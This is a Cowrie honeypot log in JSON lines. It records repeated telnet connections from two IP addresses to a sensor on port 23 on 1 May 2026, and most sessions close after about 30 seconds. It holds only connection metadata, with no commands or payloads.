{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44578,"dst_ip":"10.17.0.5","dst_port":23,"session":"5deef09b4127","protocol":"telnet","message":"New connection: 208.115.200.90:44578 (10.17.0.5:23) [session: 5deef09b4127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:01.236694Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38178,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab2f82fe967f","protocol":"telnet","message":"New connection: 208.115.219.122:38178 (10.17.0.5:23) [session: ab2f82fe967f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:01.257465Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44594,"dst_ip":"10.17.0.5","dst_port":23,"session":"5029d880e141","protocol":"telnet","message":"New connection: 208.115.200.90:44594 (10.17.0.5:23) [session: 5029d880e141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:01.313766Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38180,"dst_ip":"10.17.0.5","dst_port":23,"session":"9af76521c864","protocol":"telnet","message":"New connection: 208.115.219.122:38180 (10.17.0.5:23) [session: 9af76521c864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:01.333258Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44624,"dst_ip":"10.17.0.5","dst_port":23,"session":"27e461cec5bc","protocol":"telnet","message":"New connection: 208.115.200.90:44624 (10.17.0.5:23) [session: 27e461cec5bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:01.356974Z"}
{"eventid":"cowrie.session.closed","duration":31.223312377929688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:01.376965Z","src_ip":"208.115.200.90","session":"402e6eef657f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44638,"dst_ip":"10.17.0.5","dst_port":23,"session":"e15c59b6c960","protocol":"telnet","message":"New connection: 208.115.200.90:44638 (10.17.0.5:23) [session: e15c59b6c960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:01.407239Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44656,"dst_ip":"10.17.0.5","dst_port":23,"session":"59d28ac3bc30","protocol":"telnet","message":"New connection: 208.115.200.90:44656 (10.17.0.5:23) [session: 59d28ac3bc30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:01.441010Z"}
{"eventid":"cowrie.session.closed","duration":31.42276382446289,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:01.501991Z","src_ip":"208.115.200.90","session":"b3ab102120a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44700,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a02cf09ff5a","protocol":"telnet","message":"New connection: 208.115.200.90:44700 (10.17.0.5:23) [session: 3a02cf09ff5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:01.519906Z"}
{"eventid":"cowrie.session.closed","duration":30.652372360229492,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:02.084863Z","src_ip":"208.115.200.90","session":"fd904c83f142","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38298,"dst_ip":"10.17.0.5","dst_port":23,"session":"61f9d8bf93c2","protocol":"telnet","message":"New connection: 208.115.219.122:38298 (10.17.0.5:23) [session: 61f9d8bf93c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:02.110541Z"}
{"eventid":"cowrie.session.closed","duration":30.880988836288452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:02.114914Z","src_ip":"208.115.219.122","session":"42cda76d485f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.965072870254517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:02.124848Z","src_ip":"208.115.200.90","session":"f31edfe7fcc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.885440587997437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:02.129508Z","src_ip":"208.115.219.122","session":"8d67ad37f3cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11949133872986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:02.137325Z","src_ip":"208.115.219.122","session":"ec6ccba636b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38302,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c6e1b0d893f","protocol":"telnet","message":"New connection: 208.115.219.122:38302 (10.17.0.5:23) [session: 9c6e1b0d893f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:02.165675Z"}
{"eventid":"cowrie.session.closed","duration":30.236486434936523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:02.209877Z","src_ip":"208.115.200.90","session":"fc19332dad19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45134,"dst_ip":"10.17.0.5","dst_port":23,"session":"71831e50708b","protocol":"telnet","message":"New connection: 208.115.200.90:45134 (10.17.0.5:23) [session: 71831e50708b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:02.215435Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45150,"dst_ip":"10.17.0.5","dst_port":23,"session":"46cdc9517bfa","protocol":"telnet","message":"New connection: 208.115.200.90:45150 (10.17.0.5:23) [session: 46cdc9517bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:02.234706Z"}
{"eventid":"cowrie.session.closed","duration":30.973319053649902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:02.298455Z","src_ip":"208.115.200.90","session":"b404bc2e431e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.261646270751953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:02.373241Z","src_ip":"208.115.200.90","session":"6950bf290b5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.203596591949463,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:02.416243Z","src_ip":"208.115.200.90","session":"99f437d586fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91786241531372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:02.424048Z","src_ip":"208.115.200.90","session":"3bbe2ec29664","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45344,"dst_ip":"10.17.0.5","dst_port":23,"session":"408bfe966ced","protocol":"telnet","message":"New connection: 208.115.200.90:45344 (10.17.0.5:23) [session: 408bfe966ced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:02.551037Z"}
{"eventid":"cowrie.session.closed","duration":31.368245840072632,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:02.623044Z","src_ip":"208.115.200.90","session":"5cc8f1cc49eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.385591745376587,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:02.636799Z","src_ip":"208.115.200.90","session":"a8ec71299960","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43580,"dst_ip":"10.17.0.5","dst_port":23,"session":"71e1b975ed8b","protocol":"telnet","message":"New connection: 208.115.200.90:43580 (10.17.0.5:23) [session: 71e1b975ed8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:02.698395Z"}
{"eventid":"cowrie.session.closed","duration":31.580989837646484,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:02.800521Z","src_ip":"208.115.200.90","session":"048807ae6522","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45520,"dst_ip":"10.17.0.5","dst_port":23,"session":"546e6ea073b5","protocol":"telnet","message":"New connection: 208.115.200.90:45520 (10.17.0.5:23) [session: 546e6ea073b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:02.948685Z"}
{"eventid":"cowrie.session.closed","duration":30.267104387283325,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:03.036426Z","src_ip":"208.115.219.122","session":"200b4115d30e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45624,"dst_ip":"10.17.0.5","dst_port":23,"session":"0631426ba508","protocol":"telnet","message":"New connection: 208.115.200.90:45624 (10.17.0.5:23) [session: 0631426ba508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:03.062499Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45630,"dst_ip":"10.17.0.5","dst_port":23,"session":"120aeafa3ef1","protocol":"telnet","message":"New connection: 208.115.200.90:45630 (10.17.0.5:23) [session: 120aeafa3ef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:03.120593Z"}
{"eventid":"cowrie.session.closed","duration":31.097854137420654,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:03.224802Z","src_ip":"208.115.200.90","session":"fc6f5bd49c4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45666,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cebd6650270","protocol":"telnet","message":"New connection: 208.115.200.90:45666 (10.17.0.5:23) [session: 0cebd6650270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:03.257037Z"}
{"eventid":"cowrie.session.closed","duration":30.930378437042236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:03.271183Z","src_ip":"208.115.200.90","session":"b5b24758f9e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.692087173461914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:03.322600Z","src_ip":"208.115.200.90","session":"0bde8f289a17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45702,"dst_ip":"10.17.0.5","dst_port":23,"session":"996be816e88c","protocol":"telnet","message":"New connection: 208.115.200.90:45702 (10.17.0.5:23) [session: 996be816e88c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:03.336501Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38002,"dst_ip":"10.17.0.5","dst_port":23,"session":"596b39698871","protocol":"telnet","message":"New connection: 208.115.219.122:38002 (10.17.0.5:23) [session: 596b39698871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:03.348929Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38312,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a1880054213","protocol":"telnet","message":"New connection: 208.115.219.122:38312 (10.17.0.5:23) [session: 3a1880054213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:03.358801Z"}
{"eventid":"cowrie.session.closed","duration":31.203994274139404,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:03.380658Z","src_ip":"208.115.200.90","session":"8b54d594f393","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38532,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2ee73dea3d2","protocol":"telnet","message":"New connection: 208.115.219.122:38532 (10.17.0.5:23) [session: b2ee73dea3d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:03.388597Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45752,"dst_ip":"10.17.0.5","dst_port":23,"session":"49231fe63ed7","protocol":"telnet","message":"New connection: 208.115.200.90:45752 (10.17.0.5:23) [session: 49231fe63ed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:03.451152Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38566,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0cc25067ce3","protocol":"telnet","message":"New connection: 208.115.219.122:38566 (10.17.0.5:23) [session: d0cc25067ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:03.522641Z"}
{"eventid":"cowrie.session.closed","duration":30.70303726196289,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:03.645202Z","src_ip":"208.115.200.90","session":"5b3ede85fc2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45402,"dst_ip":"10.17.0.5","dst_port":23,"session":"65f1dfba6206","protocol":"telnet","message":"New connection: 208.115.200.90:45402 (10.17.0.5:23) [session: 65f1dfba6206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:03.785622Z"}
{"eventid":"cowrie.session.closed","duration":31.562426567077637,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:03.830681Z","src_ip":"208.115.200.90","session":"fd9bd93dea28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.432827472686768,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:03.836680Z","src_ip":"208.115.200.90","session":"6efd6e4f87a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38616,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebbd481e3744","protocol":"telnet","message":"New connection: 208.115.219.122:38616 (10.17.0.5:23) [session: ebbd481e3744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:03.889498Z"}
{"eventid":"cowrie.session.closed","duration":31.677461862564087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:03.896935Z","src_ip":"208.115.200.90","session":"0adc264705fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.511492013931274,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:03.950135Z","src_ip":"208.115.200.90","session":"521111119315","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.793659687042236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:04.018553Z","src_ip":"208.115.200.90","session":"05c48d31843c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97867727279663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:04.026619Z","src_ip":"208.115.219.122","session":"608933656e1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38628,"dst_ip":"10.17.0.5","dst_port":23,"session":"00e85b3fa76a","protocol":"telnet","message":"New connection: 208.115.219.122:38628 (10.17.0.5:23) [session: 00e85b3fa76a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:04.030608Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46114,"dst_ip":"10.17.0.5","dst_port":23,"session":"89913a3264d2","protocol":"telnet","message":"New connection: 208.115.200.90:46114 (10.17.0.5:23) [session: 89913a3264d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:04.077807Z"}
{"eventid":"cowrie.session.closed","duration":31.062286853790283,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:04.154998Z","src_ip":"208.115.200.90","session":"09cc2961d95c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38494,"dst_ip":"10.17.0.5","dst_port":23,"session":"24168e3ac1f9","protocol":"telnet","message":"New connection: 208.115.219.122:38494 (10.17.0.5:23) [session: 24168e3ac1f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:04.190901Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38708,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d5be7fc1b3a","protocol":"telnet","message":"New connection: 208.115.219.122:38708 (10.17.0.5:23) [session: 4d5be7fc1b3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:04.215702Z"}
{"eventid":"cowrie.session.closed","duration":30.707326412200928,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:04.222944Z","src_ip":"208.115.200.90","session":"0bbbb5e17a52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46144,"dst_ip":"10.17.0.5","dst_port":23,"session":"0badb27eacf1","protocol":"telnet","message":"New connection: 208.115.200.90:46144 (10.17.0.5:23) [session: 0badb27eacf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:04.235808Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38724,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a2a2b49740e","protocol":"telnet","message":"New connection: 208.115.219.122:38724 (10.17.0.5:23) [session: 7a2a2b49740e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:04.245390Z"}
{"eventid":"cowrie.session.closed","duration":30.509573459625244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:04.251135Z","src_ip":"208.115.219.122","session":"b00738104b82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.913331270217896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:04.286267Z","src_ip":"208.115.200.90","session":"26b92c7aab19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38740,"dst_ip":"10.17.0.5","dst_port":23,"session":"5584563f8431","protocol":"telnet","message":"New connection: 208.115.219.122:38740 (10.17.0.5:23) [session: 5584563f8431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:04.294171Z"}
{"eventid":"cowrie.session.closed","duration":30.545330047607422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:04.318879Z","src_ip":"208.115.219.122","session":"a7d9d5672f41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":51576,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ab54c9e29da","protocol":"telnet","message":"New connection: 208.115.200.90:51576 (10.17.0.5:23) [session: 5ab54c9e29da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:04.333587Z"}
{"eventid":"cowrie.session.closed","duration":31.12216854095459,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:04.340899Z","src_ip":"208.115.200.90","session":"cf0026f486e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.544694423675537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:04.378914Z","src_ip":"208.115.200.90","session":"c6d7e242b9e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":51610,"dst_ip":"10.17.0.5","dst_port":23,"session":"e05ac094d1df","protocol":"telnet","message":"New connection: 208.115.200.90:51610 (10.17.0.5:23) [session: e05ac094d1df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:04.452515Z"}
{"eventid":"cowrie.session.closed","duration":30.68276357650757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:04.461148Z","src_ip":"208.115.200.90","session":"3193bcdf921e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":51662,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc7d8b5ccc35","protocol":"telnet","message":"New connection: 208.115.200.90:51662 (10.17.0.5:23) [session: cc7d8b5ccc35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:04.507895Z"}
{"eventid":"cowrie.session.closed","duration":31.2854642868042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:04.608410Z","src_ip":"208.115.200.90","session":"05d2d75ce865","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":44854,"dst_ip":"10.17.0.5","dst_port":23,"session":"f54d22ba0c45","protocol":"telnet","message":"New connection: 208.115.200.90:44854 (10.17.0.5:23) [session: f54d22ba0c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:04.749794Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":51842,"dst_ip":"10.17.0.5","dst_port":23,"session":"b26b3480bb80","protocol":"telnet","message":"New connection: 208.115.200.90:51842 (10.17.0.5:23) [session: b26b3480bb80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:04.854096Z"}
{"eventid":"cowrie.session.closed","duration":30.48906373977661,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:05.023856Z","src_ip":"208.115.200.90","session":"5337f0a143ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85215163230896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:05.031148Z","src_ip":"208.115.219.122","session":"3d9dc2fcd5ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56681227684021,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:05.056508Z","src_ip":"208.115.219.122","session":"aacc70a6211a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38640,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1146fb4c5b4","protocol":"telnet","message":"New connection: 208.115.219.122:38640 (10.17.0.5:23) [session: c1146fb4c5b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:05.068792Z"}
{"eventid":"cowrie.session.closed","duration":30.8620707988739,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:05.085262Z","src_ip":"208.115.200.90","session":"781e6a2cc261","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.057860612869263,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:05.117126Z","src_ip":"208.115.200.90","session":"a89e99d8f3ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.857288599014282,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:05.125339Z","src_ip":"208.115.200.90","session":"cf0d34bf1e88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39207363128662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:05.131563Z","src_ip":"208.115.200.90","session":"06b2a98a4f85","protocol":"telnet"}
